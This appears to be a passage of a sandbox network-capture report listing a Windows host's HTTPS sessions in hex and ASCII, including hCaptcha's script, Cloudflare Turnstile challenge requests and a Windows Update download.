5d5oXOdnq6FhqSyiHyFbaeQibqEmZqwupacn7ujo5Ogsae6n7ydhb+ooYmlvc/CsMrNt6Osq7bZsLy349XSw6a/w9fJu9vaveTlv7DBz/LL08Pny8m0/tTA6wH1Au0A+PHW1sve4OrvwgLwzOIHzgfY+AsX1/781QDvAB33J/MA5yoL/uopKOvv6CoGNSMlGC8IKjL1LS0O9jNB+z8BBCkxGQQ8QUMMQEBLS00HFkpYFxMjXFYpLGFKUVRYMiYd
2024-10-31 20:54:54 UTC	1369	IN	Data Raw: 79 42 69 70 75 4e 6f 37 4a 2f 73 71 47 72 69 33 6d 4b 6c 59 32 65 76 34 2b 76 76 34 36 45 6d 4c 4f 51 6c 34 47 53 78 4d 50 43 77 70 6a 48 73 4d 61 2b 6a 37 61 69 79 4c 43 7a 6f 70 47 54 72 62 66 48 72 61 37 4f 6f 4f 54 50 32 73 54 6d 79 4e 2f 4d 36 4e 6e 4c 72 2b 4c 4d 71 4d 44 48 37 73 72 6d 73 74 54 4f 36 74 50 59 41 4e 69 2b 41 75 72 64 42 67 54 44 30 67 44 70 36 75 44 34 42 2b 44 67 34 41 33 70 46 63 30 4e 46 75 50 7a 39 51 76 37 44 75 63 51 46 76 54 31 42 50 76 7a 44 68 6f 64 46 42 54 32 33 51 33 6a 2f 52 73 49 2f 52 48 78 4b 41 50 32 42 68 41 74 39 66 51 53 4d 76 6f 30 49 42 63 79 49 44 6e 39 45 43 4d 58 51 51 52 48 51 68 77 2b 52 69 38 4e 4c 55 35 49 44 6b 4a 46 54 6c 68 56 4b 7a 42 58 53 42 70 53 4c 31 4d 79 49 69 4d 76 5a 54 56 59 59 57 67 35 58 Data Ascii: yBipuNo7J/sqGri3mKlY2ev4+vv46EmLOQl4GSxMPCwpjHsMa+j7aiyLCzopGTrbfHra7OoOTP2sTmyN/M6NnLr+LMqMDH7srmstTO6tPYANi+AurdBgTD0gDp6uD4B+Dg4A3pFc0NFuPz9Qv7DucQFvT1BPvzDhodFBT23Q3j/RsI/RHxKAP2BhAt9fQSMvo0IBcyIDn9ECMXQQRHQhw+Ri8NLU5IDkJFTlhVKzBXSBpSL1MyIiMvZTVYYWg5X
2024-10-31 20:54:54 UTC	1369	IN	Data Raw: 75 61 4b 61 79 62 34 36 37 76 61 6d 63 66 70 69 38 66 4c 71 56 78 71 4f 42 75 35 65 39 6c 4b 72 4a 74 71 6d 4e 6e 4e 47 72 6f 59 2b 54 70 64 54 4e 6c 37 4f 57 7a 4a 66 64 30 5a 33 4f 35 4e 57 69 34 36 48 58 36 74 4c 48 72 4b 6a 63 76 61 66 68 38 62 33 6f 39 73 2f 6c 37 64 50 57 7a 4f 54 58 32 2b 6d 35 33 4e 37 55 32 4f 44 6a 36 4e 48 68 2f 41 59 43 35 63 58 67 2b 75 7a 76 33 50 34 4a 42 78 63 54 39 42 50 78 37 78 4d 5a 38 41 33 58 34 76 6f 61 38 66 73 67 42 52 6a 6d 2b 79 77 69 37 42 73 5a 42 79 59 45 36 67 67 57 46 67 73 54 4f 66 49 6c 42 78 63 75 4b 76 63 78 48 42 49 79 2f 68 56 46 4a 45 70 4a 4b 7a 34 50 50 45 63 78 43 6b 78 50 4d 55 67 57 53 54 51 33 4b 46 59 36 56 6c 68 68 59 45 30 7a 54 32 52 47 47 6c 6f 32 53 69 6c 4f 53 55 34 6d 54 54 35 41 54 6e Data Ascii: uaKayb467vamcfpi8fLqVxqOBu5e9lKrJtqmNnNGroY+TpdTNl7OWzJfd0Z3O5NWi46HX6tLHrKjcvafh8b3o9s/l7dPWzOTX2+m53N7U2ODj6NHh/AYC5cXg+uzv3P4JBxcT9BPx7xMZ8A3X4voa8fsgBRjm+ywi7BsZByYE6ggWFgsTOfIlBxcuKvcxHBIy/hVFJEpJKz4PPEcxCkxPMUgWSTQ3KFY6VlhhYE0zT2RGGlo2SilOSU4mTT5ATn
2024-10-31 20:54:54 UTC	1369	IN	Data Raw: 6a 5a 56 31 65 4c 69 36 64 48 6d 73 66 72 42 2b 70 59 43 41 78 38 69 39 70 36 44 4f 77 34 72 52 76 4b 48 56 31 62 57 68 79 63 50 63 78 74 71 2f 33 37 33 51 6f 74 72 66 35 62 37 6d 34 4d 75 38 6f 39 69 6d 72 36 66 52 36 4d 6a 79 34 4c 44 45 39 74 6d 30 2b 72 62 6d 39 64 43 35 37 4c 76 51 41 2b 37 6b 30 2f 6e 37 35 39 6a 4b 31 76 33 4b 34 2f 72 53 35 78 58 30 43 74 38 4f 41 78 50 55 32 78 58 62 48 4e 6b 5a 34 69 51 65 48 52 2f 39 49 68 38 6c 49 4f 73 6d 36 78 67 69 4b 65 2f 39 37 66 34 6c 41 43 73 34 49 78 6a 79 47 6a 42 42 2b 51 6f 74 48 66 59 34 4a 7a 41 55 50 42 73 46 48 44 31 4d 47 51 6f 77 4d 53 34 4d 4e 43 39 58 4f 56 63 57 53 6c 41 32 53 46 78 62 55 42 39 51 58 79 4d 77 4e 30 70 55 53 7a 34 33 59 53 70 44 50 57 45 39 4d 57 52 78 63 33 41 34 57 7a 70 Data Ascii: jZV1eLi6dHmsfrB+pYCAx8i9p6DOw4rRvKHV1bWhycPcxtq/373Qotrf5b7m4Mu8o9imr6fR6Mjy4LDE9tm0+rbm9dC57LvQA+7k0/n759jK1v3K4/rS5xX0Ct8OAxPU2xXbHNkZ4iQeHR/9Ih8lIOsm6xgiKe/97f4lACs4IxjyGjBB+QotHfY4JzAUPBsFHD1MGQowMS4MNC9XOVcWSlA2SFxbUB9QXyMwN0pUSz43YSpDPWE9MWRxc3A4Wzp
2024-10-31 20:54:54 UTC	1369	IN	Data Raw: 37 43 4f 6a 5a 69 41 76 4d 61 31 76 73 75 59 6c 38 47 38 7a 72 75 4e 73 71 47 79 6c 37 61 31 74 38 71 72 75 5a 6a 4c 71 36 2b 5a 75 39 48 46 34 5a 36 61 30 72 72 57 76 72 65 33 32 62 69 38 79 39 4f 2f 76 63 37 41 31 62 4c 62 75 66 33 57 79 4d 2f 33 31 64 7a 54 75 2b 4c 66 77 67 44 59 43 73 62 45 33 2f 34 43 2f 75 72 63 41 67 7a 6f 46 74 4c 57 37 4e 54 33 30 67 76 5a 37 74 66 35 2b 66 41 51 34 51 63 42 41 52 4d 68 34 2f 7a 33 48 66 76 38 2b 67 6f 79 43 67 49 41 4f 44 4d 72 4d 78 30 59 45 76 34 31 47 51 38 74 51 54 2f 38 4a 78 59 64 41 79 73 44 50 51 77 35 47 42 73 2b 49 55 30 73 4e 44 56 46 4a 6c 63 79 4e 55 63 76 58 30 70 68 4d 78 56 5a 50 69 45 68 51 57 49 2f 62 47 46 6c 50 6d 6f 74 4f 6a 42 4d 52 69 74 67 52 7a 56 6b 61 56 73 35 52 56 35 67 55 6d 78 30 Data Ascii: 7COjZiAvMa1vsuYl8G8zruNsqGyl7a1t8qruZjLq6+Zu9HF4Z6a0rrWvre32bi8y9O/vc7A1bLbuf3WyM/31dzTu+LfwgDYCsbE3/4C/urcAgzoFtLW7NT30gvZ7tf5+fAQ4QcBARMh4/z3Hfv8+goyCgIAODMrMx0YEv41GQ8tQT/8JxYdAysDPQw5GBs+IU0sNDVFJlcyNUcvX0phMxVZPiEhQWI/bGFlPmotOjBMRitgRzVkaVs5RV5gUmx0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49742	104.19.229.21	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:55 UTC	419	OUT	GET /c/0d69d1a359119bd0e2c5ca7f11f300ac050517fd19b612f86c0c75a2b0b39cbe/hsw.js HTTP/1.1 Host: newassets.hcaptcha.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:55 UTC	462	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:54:55 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close etag: W/"d490ba95de99d7c025179f7883fed554" Cache-Control: max-age=3024000 vary: Accept-Encoding vary: Origin alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8db68b026827e997-DFW
2024-10-31 20:54:55 UTC	907	IN	Data Raw: 37 64 63 36 0d 0a 76 61 72 20 68 73 77 3d 66 75 6e 63 74 69 6f 6e 20 66 63 42 79 4c 43 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 41 28 41 2c 51 2c 42 29 7b 72 65 74 75 72 6e 20 51 3c 3d 41 26 26 41 3c 3d 42 7d 66 75 6e 63 74 69 6f 6e 20 51 28 41 29 7b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 41 29 72 65 74 75 72 6e 7b 7d 3b 69 66 28 41 3d 3d 3d 4f 62 6a 65 63 74 28 41 29 29 72 65 74 75 72 6e 20 41 3b 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 6f 75 6c 64 20 6e 6f 74 20 63 6f 6e 76 65 72 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 64 69 63 74 69 6f 6e 61 72 79 22 29 7d 76 61 72 20 42 3d 66 75 6e 63 74 69 6f 6e 28 41 29 7b 72 65 74 75 72 6e 20 41 3e 3d 30 26 26 41 3c 3d 31 32 37 7d 2c 45 3d 2d 31 3b 66 75 6e 63 74 69 6f Data Ascii: 7dc6var hsw=function fcByLC(){"use strict";function A(A,Q,B){return Q<=A&&A<=B}function Q(A){if(void 0===A)return{};if(A===Object(A))return A;throw TypeError("Could not convert argument to dictionary")}var B=function(A){return A>=0&&A<=127},E=-1;functio
2024-10-31 20:54:55 UTC	1369	IN	Data Raw: 22 2c 22 75 74 66 2d 38 22 2c 22 75 74 66 38 22 5d 2c 6e 61 6d 65 3a 22 55 54 46 2d 38 22 7d 5d 2c 68 65 61 64 69 6e 67 3a 22 54 68 65 20 45 6e 63 6f 64 69 6e 67 22 7d 5d 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 41 29 7b 41 2e 65 6e 63 6f 64 69 6e 67 73 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 41 29 7b 41 2e 6c 61 62 65 6c 73 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 51 29 7b 77 5b 51 5d 3d 41 7d 29 29 7d 29 29 7d 29 29 3b 76 61 72 20 69 2c 6b 2c 68 3d 7b 22 55 54 46 2d 38 22 3a 66 75 6e 63 74 69 6f 6e 28 41 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 48 28 41 29 7d 7d 2c 4d 3d 7b 22 55 54 46 2d 38 22 3a 66 75 6e 63 74 69 6f 6e 28 41 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 73 28 41 29 7d 7d 2c 4a 3d 22 75 74 66 2d Data Ascii: ","utf-8","utf8"],name:"UTF-8"}],heading:"The Encoding"}].forEach((function(A){A.encodings.forEach((function(A){A.labels.forEach((function(Q){w[Q]=A}))}))}));var i,k,h={"UTF-8":function(A){return new H(A)}},M={"UTF-8":function(A){return new s(A)}},J="utf-
2024-10-31 20:54:55 UTC	1369	IN	Data Raw: 6f 75 20 66 6f 72 67 65 74 20 74 6f 20 69 6e 63 6c 75 64 65 20 65 6e 63 6f 64 69 6e 67 2d 69 6e 64 65 78 65 73 2e 6a 73 20 66 69 72 73 74 3f 22 29 3b 45 2e 5f 65 6e 63 6f 64 69 6e 67 3d 49 7d 65 6c 73 65 20 45 2e 5f 65 6e 63 6f 64 69 6e 67 3d 44 28 22 75 74 66 2d 38 22 29 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 7c 7c 28 74 68 69 73 2e 65 6e 63 6f 64 69 6e 67 3d 45 2e 5f 65 6e 63 6f 64 69 6e 67 2e 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 2c 45 7d 66 75 6e 63 74 69 6f 6e 20 73 28 51 29 7b 76 61 72 20 42 3d 51 2e 66 61 74 61 6c 2c 49 3d 30 2c 44 3d 30 2c 77 3d 30 2c 69 3d 31 32 38 2c 6b 3d 31 39 31 3b 74 68 69 73 2e 68 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 51 2c 68 29 7b 69 66 28 68 3d Data Ascii: ou forget to include encoding-indexes.js first?");E._encoding=I}else E._encoding=D("utf-8");return Object.defineProperty\|\|(this.encoding=E._encoding.name.toLowerCase()),E}function s(Q){var B=Q.fatal,I=0,D=0,w=0,i=128,k=191;this.handler=function(Q,h){if(h=
2024-10-31 20:54:55 UTC	1369	IN	Data Raw: 61 6e 63 65 6f 66 20 41 72 72 61 79 42 75 66 66 65 72 3f 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 41 2e 62 75 66 66 65 72 2c 41 2e 62 79 74 65 4f 66 66 73 65 74 2c 41 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 30 29 2c 42 3d 51 28 42 29 2c 74 68 69 73 2e 5f 64 6f 5f 6e 6f 74 5f 66 6c 75 73 68 7c 7c 28 74 68 69 73 2e 5f 64 65 63 6f 64 65 72 3d 4d 5b 74 68 69 73 2e 5f 65 6e 63 6f 64 69 6e 67 2e 6e 61 6d 65 5d 28 7b 66 61 74 61 6c 3a 22 66 61 74 61 6c 22 3d 3d 3d 74 68 69 73 2e 5f 65 72 72 6f 72 5f 6d 6f 64 65 7d 29 2c 74 68 69 73 2e 5f 42 4f 4d 73 65 65 6e 3d 21 31 29 2c 74 68 69 73 2e 5f 64 6f 5f 6e 6f 74 5f 66 6c 75 73 68 3d 42 6f 6f 6c 65 61 6e 28 42 2e 73 74 72 65 61 6d 29 3b 66 6f 72 28 76 61 72 20 44 2c 77 Data Ascii: anceof ArrayBuffer?new Uint8Array(A.buffer,A.byteOffset,A.byteLength):new Uint8Array(0),B=Q(B),this._do_not_flush\|\|(this._decoder=M[this._encoding.name]({fatal:"fatal"===this._error_mode}),this._BOMseen=!1),this._do_not_flush=Boolean(B.stream);for(var D,w
2024-10-31 20:54:55 UTC	1369	IN	Data Raw: 65 6e 67 74 68 2c 45 3d 30 2c 49 3d 5b 5d 3b 45 3c 42 3b 29 7b 76 61 72 20 43 3d 51 2e 63 68 61 72 43 6f 64 65 41 74 28 45 29 3b 69 66 28 43 3c 35 35 32 39 36 7c 7c 43 3e 35 37 33 34 33 29 49 2e 70 75 73 68 28 43 29 3b 65 6c 73 65 20 69 66 28 43 3e 3d 35 36 33 32 30 26 26 43 3c 3d 35 37 33 34 33 29 49 2e 70 75 73 68 28 36 35 35 33 33 29 3b 65 6c 73 65 20 69 66 28 43 3e 3d 35 35 32 39 36 26 26 43 3c 3d 35 36 33 31 39 29 69 66 28 45 3d 3d 3d 42 2d 31 29 49 2e 70 75 73 68 28 36 35 35 33 33 29 3b 65 6c 73 65 7b 76 61 72 20 67 3d 51 2e 63 68 61 72 43 6f 64 65 41 74 28 45 2b 31 29 3b 69 66 28 67 3e 3d 35 36 33 32 30 26 26 67 3c 3d 35 37 33 34 33 29 7b 76 61 72 20 44 3d 31 30 32 33 26 43 2c 77 3d 31 30 32 33 26 67 3b 49 2e 70 75 73 68 28 36 35 35 33 36 2b 28 44 Data Ascii: ength,E=0,I=[];E<B;){var C=Q.charCodeAt(E);if(C<55296\|\|C>57343)I.push(C);else if(C>=56320&&C<=57343)I.push(65533);else if(C>=55296&&C<=56319)if(E===B-1)I.push(65533);else{var g=Q.charCodeAt(E+1);if(g>=56320&&g<=57343){var D=1023&C,w=1023&g;I.push(65536+(D
2024-10-31 20:54:55 UTC	1369	IN	Data Raw: 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 46 61 69 6c 65 64 20 74 6f 20 65 78 65 63 75 74 65 20 27 61 74 6f 62 27 20 6f 6e 20 27 57 69 6e 64 6f 77 27 3a 20 54 68 65 20 73 74 72 69 6e 67 20 74 6f 20 62 65 20 64 65 63 6f 64 65 64 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 6c 79 20 65 6e 63 6f 64 65 64 2e 22 29 3b 76 61 72 20 51 2c 42 2c 45 3b 41 2b 3d 22 3d 3d 22 2e 73 6c 69 63 65 28 32 2d 28 33 26 41 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 76 61 72 20 49 3d 22 22 2c 43 3d 30 3b 43 3c 41 2e 6c 65 6e 67 74 68 3b 29 51 3d 69 2e 69 6e 64 65 78 4f 66 28 41 2e 63 68 61 72 41 74 28 43 2b 2b 29 29 3c 3c 31 38 7c 69 2e 69 6e 64 65 78 4f 66 28 41 2e 63 68 61 72 41 74 28 43 2b 2b 29 29 3c 3c 31 32 7c 28 42 3d 69 2e 69 6e 64 65 78 4f 66 28 41 Data Ascii: throw new TypeError("Failed to execute 'atob' on 'Window': The string to be decoded is not correctly encoded.");var Q,B,E;A+="==".slice(2-(3&A.length));for(var I="",C=0;C<A.length;)Q=i.indexOf(A.charAt(C++))<<18\|i.indexOf(A.charAt(C++))<<12\|(B=i.indexOf(A
2024-10-31 20:54:55 UTC	1369	IN	Data Raw: 28 41 29 7b 76 61 72 20 51 3d 71 51 3b 74 72 79 7b 68 28 45 5b 51 28 33 30 35 29 5d 28 41 29 29 7d 63 61 74 63 68 28 41 29 7b 67 28 41 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 68 28 41 29 7b 76 61 72 20 51 2c 45 3d 71 51 3b 41 5b 45 28 44 2e 5f 30 78 35 63 35 32 65 65 29 5d 3f 43 28 41 5b 45 28 44 2e 5f 30 78 35 63 36 31 66 38 29 5d 29 3a 28 51 3d 41 5b 45 28 33 37 32 29 5d 2c 51 20 69 6e 73 74 61 6e 63 65 6f 66 20 42 3f 51 3a 6e 65 77 20 42 28 28 66 75 6e 63 74 69 6f 6e 28 41 29 7b 41 28 51 29 7d 29 29 29 5b 45 28 44 2e 5f 30 78 34 61 63 63 64 36 29 5d 28 69 2c 6b 29 7d 68 28 28 45 3d 45 5b 77 28 49 29 5d 28 41 2c 51 7c 7c 5b 5d 29 29 5b 77 28 36 36 33 29 5d 28 29 29 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 41 2c 51 29 7b 76 61 72 20 42 2c 45 2c 49 2c 43 Data Ascii: (A){var Q=qQ;try{h(E[Q(305)](A))}catch(A){g(A)}}function h(A){var Q,E=qQ;A[E(D._0x5c52ee)]?C(A[E(D._0x5c61f8)]):(Q=A[E(372)],Q instanceof B?Q:new B((function(A){A(Q)})))[E(D._0x4accd6)](i,k)}h((E=E[w(I)](A,Q\|\|[]))[w(663)]())}))}function F(A,Q){var B,E,I,C
2024-10-31 20:54:55 UTC	1369	IN	Data Raw: 5d 28 29 2c 6b 5b 74 28 37 32 37 29 5d 5b 74 28 34 37 38 29 5d 28 29 3b 63 6f 6e 74 69 6e 75 65 7d 43 3d 51 5b 74 28 63 29 5d 28 41 2c 6b 29 7d 63 61 74 63 68 28 41 29 7b 43 3d 5b 36 2c 41 5d 2c 45 3d 30 7d 66 69 6e 61 6c 6c 79 7b 42 3d 49 3d 30 7d 69 66 28 35 26 43 5b 30 5d 29 74 68 72 6f 77 20 43 5b 31 5d 3b 76 61 72 20 52 3d 7b 7d 3b 72 65 74 75 72 6e 20 52 2e 76 61 6c 75 65 3d 43 5b 30 5d 3f 43 5b 31 5d 3a 76 6f 69 64 20 30 2c 52 5b 74 28 4c 29 5d 3d 21 30 2c 52 7d 28 5b 43 2c 74 5d 29 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 52 28 41 2c 51 2c 42 29 7b 76 61 72 20 45 3d 37 38 32 2c 49 3d 34 32 35 2c 43 3d 34 33 35 2c 67 3d 71 51 3b 69 66 28 42 7c 7c 32 3d 3d 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 66 6f 72 28 76 61 72 20 44 2c 77 3d 30 2c 69 Data Ascii: ](),k[t(727)][t(478)]();continue}C=Q[t(c)](A,k)}catch(A){C=[6,A],E=0}finally{B=I=0}if(5&C[0])throw C[1];var R={};return R.value=C[0]?C[1]:void 0,R[t(L)]=!0,R}([C,t])}}}function R(A,Q,B){var E=782,I=425,C=435,g=qQ;if(B\|\|2===arguments.length)for(var D,w=0,i
2024-10-31 20:54:55 UTC	1369	IN	Data Raw: 37 36 37 29 5d 29 2c 75 3d 4c 28 35 38 34 29 69 6e 20 77 69 6e 64 6f 77 2c 7a 3d 77 69 6e 64 6f 77 5b 4c 28 37 32 33 29 5d 3e 31 2c 76 3d 4d 61 74 68 5b 4c 28 37 30 30 29 5d 28 6e 75 6c 6c 3d 3d 3d 28 72 3d 77 69 6e 64 6f 77 5b 4c 28 32 38 34 29 5d 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 72 3f 76 6f 69 64 20 30 3a 72 5b 4c 28 34 34 39 29 5d 2c 6e 75 6c 6c 3d 3d 3d 28 6e 3d 77 69 6e 64 6f 77 2e 73 63 72 65 65 6e 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6e 3f 76 6f 69 64 20 30 3a 6e 5b 4c 28 34 35 39 29 5d 29 2c 62 3d 6e 61 76 69 67 61 74 6f 72 2e 6d 61 78 54 6f 75 63 68 50 6f 69 6e 74 73 2c 70 3d 6e 61 76 69 67 61 74 6f 72 5b 4c 28 35 39 31 29 5d 2c 56 3d 22 70 6c 75 67 69 6e 73 22 69 6e 20 6e 61 76 69 67 61 74 6f 72 26 26 30 3d 3d 3d 28 6e 75 6c 6c 3d 3d 3d 28 50 Data Ascii: 767)]),u=L(584)in window,z=window[L(723)]>1,v=Math[L(700)](null===(r=window[L(284)])\|\|void 0===r?void 0:r[L(449)],null===(n=window.screen)\|\|void 0===n?void 0:n[L(459)]),b=navigator.maxTouchPoints,p=navigator[L(591)],V="plugins"in navigator&&0===(null===(P
2024-10-31 20:54:55 UTC	1369	IN	Data Raw: 5f 28 41 29 29 72 65 74 75 72 6e 20 41 3b 76 61 72 20 77 3d 41 5b 67 28 45 29 5d 3b 69 66 28 30 3d 3d 3d 77 29 72 65 74 75 72 6e 20 41 3b 76 61 72 20 69 3d 4d 61 74 68 5b 67 28 49 29 5d 28 24 28 51 2b 42 29 2a 77 29 3b 69 66 28 44 29 7b 66 6f 72 28 76 61 72 20 6b 3d 41 5b 69 5d 2c 68 3d 53 74 72 69 6e 67 5b 67 28 34 39 37 29 5d 28 6b 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 2b 51 29 2c 4d 3d 22 22 2c 4a 3d 30 3b 4a 3c 77 3b 4a 2b 3d 31 29 4d 2b 3d 4a 3d 3d 3d 69 3f 68 3a 41 5b 4a 5d 3b 72 65 74 75 72 6e 20 4d 7d 76 61 72 20 79 3d 6e 65 77 20 41 72 72 61 79 28 77 29 3b 66 6f 72 28 4a 3d 30 3b 4a 3c 77 3b 4a 2b 3d 31 29 79 5b 4a 5d 3d 41 5b 4a 5d 3b 72 65 74 75 72 6e 20 79 5b 69 5d 3d 41 41 28 4a 53 4f 4e 5b 67 28 43 29 5d 28 41 5b 69 5d 29 2c 51 2c 42 29 Data Ascii: _(A))return A;var w=A[g(E)];if(0===w)return A;var i=Math[g(I)]($(Q+B)*w);if(D){for(var k=A[i],h=String[g(497)](k.charCodeAt(0)+Q),M="",J=0;J<w;J+=1)M+=J===i?h:A[J];return M}var y=new Array(w);for(J=0;J<w;J+=1)y[J]=A[J];return y[i]=AA(JSON[g(C)](A[i]),Q,B)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49744	104.18.95.41	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:55 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1827530087:1730405642:ltd0wnhF-wNUZPhVAbzH59KppvuK_FKCeFGLBlDqCYQ/8db68aefa9dee71a/7cykXcorcTo1NInY40PyAW.pmxtDKZjwQymE_8quY0M-1730408092-1.1.1.1-Ke.D64bIfKYJPApeFdyVZtu8wbDtjaUMDXBNn45ZRomcSu7xIPnksyDPYrWEyyBv HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:55 UTC	379	IN	HTTP/1.1 404 Not Found Date: Thu, 31 Oct 2024 20:54:55 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: PUdqZSXA2YlAOZEKCTIW6TRcp0rIvLZGwN8=$kpknp+nSzdDSstoo Server: cloudflare CF-RAY: 8db68b077e514767-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:54:55 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49745	104.18.94.41	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:55 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8db68aefa9dee71a/1730408094291/1DUK2cFFx0Ov71K HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/qh7j5/0x4AAAAAAAyr4qst3s0poVsP/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:56 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:54:56 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8db68b082cd728d1-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:54:56 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5b 00 00 00 06 08 02 00 00 00 23 44 75 e7 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR[#DuIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49746	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:56 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=8X286xg78epWUlZ&MD=DApwh8vU HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-31 20:54:56 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 7def3398-2047-46fb-a9e8-3e2db4565d1f MS-RequestId: 523b5a5c-0de0-48c8-b5e3-959932819df7 MS-CV: vXMMipJr/kewqX+9.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 31 Oct 2024 20:54:55 GMT Connection: close Content-Length: 24490
2024-10-31 20:54:56 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 